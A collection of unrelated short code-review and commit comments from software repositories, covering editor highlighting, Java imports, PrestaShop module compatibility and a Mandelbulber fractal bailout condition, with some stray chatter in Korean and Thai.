Ah yes. `_doHistory` is set to false for no history. So I found editing large files is slow because of the highlighting, if i switch it off, it's normal. I could set a large delay if I still want highlighting. But another option is to only **highlight the current view** of the document for large files.


Please compress the svg.


Beautiful


good work


ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 네 있습니당 ㅋㅋㅋㅋㅋ


เข้าสุ่ระบบ


ok
cool
by the way
msm8916 & 3.10 & wt88047 will be RIP soon


good work,
but at the line 142, java.util.Arrays.copyOf(list, rsize); you should actually import,
java.util.Arrays; and then make use of copyOf method; that is good practice


The firings are made by me, JMartinez2098.


Ice


การส่ง


Still with `===`, intentional?


Duh. thanks!


It does, there are few modules out there that still uses / depend on this old parser and this define. For example, official prestashop [blockrss](https://github.com/PrestaShop/blockrss/blob/ba0e96c54f5bdb66d1490c3ff7ea8a5ae1021aa9/blockrss.php#L31) module. Any ps16 site using that module would not work after migration to thirtybees.

I'm sure there are more such modules. I've come across this issue when I was migrating shop for one of my customer. They are using leotheme with `leoblog@2.0.1`, and this module has the same problem.

The bottom line is - this define was always part of public interface for modules to integrate with, so we need to keep it for compatibility reason


New request given by customer for displaying the photos are in sequence. So the member can enter the sequence while exporting information to excel


Automated Test Suite Message


ชื่อ


Johan yair perez aldanas 1741842 clase de viernes 6 pm a 8 pm


neeed to commit this


A well deserved credit, he saved my life


It is all set up in a structure that can be easily changed, please check especially openCL code


please use File.seperator instead of /


                    else // for Mandelbox
                    {
                        if (in.material->fractalColoring.coloringAlgorithm
== fractalColoring_Standard)
                        {
                            if (r > 1e15 || (z - lastZ).Length() / r <
1e-15) break;
                        }
                        else
                        {
                            if (len < colorMin) colorMin = len;
                           if (r > fractals.GetBailout(sequence)|| (z -
lastZ).Length() / r < 1e-15) break;
                        }
this may need to be r >1e15  ????

On Fri, Sep 7, 2018 at 1:58 PM carbuncle grim <mclarekin@gmail.com> wrote:

> OMG, i read the "with" but not the "non" and thought i was finally
> finished  :)
>
> I was expecting  "for mandelbox with *standard* coloring" bailout r>1e15
>
> man!! this all happened because you kindly implemented the aux.DE change
> in dev V2.15, :)
>
>
>
>
>
> On Fri, Sep 7, 2018 at 6:28 AM Krzysztof Marczak <notifications@github.com>
> wrote:
>
>> should be: // for mandelbox with non-standard coloring
>>
>> —
>> You are receiving this because you authored the thread.
>> Reply to this email directly, view it on GitHub
>> <https://github.com/buddhi1980/mandelbulber2/commit/7087e24809649c1829ee825959cc143e23c97f65#commitcomment-30420502>,
>> or mute the thread
>> <https://github.com/notifications/unsubscribe-auth/AMLZHBgnbjBighv2iWr2MH9y0tr0blzwks5uYWlPgaJpZM4WdeSi>
>> .
>>
>


No more comments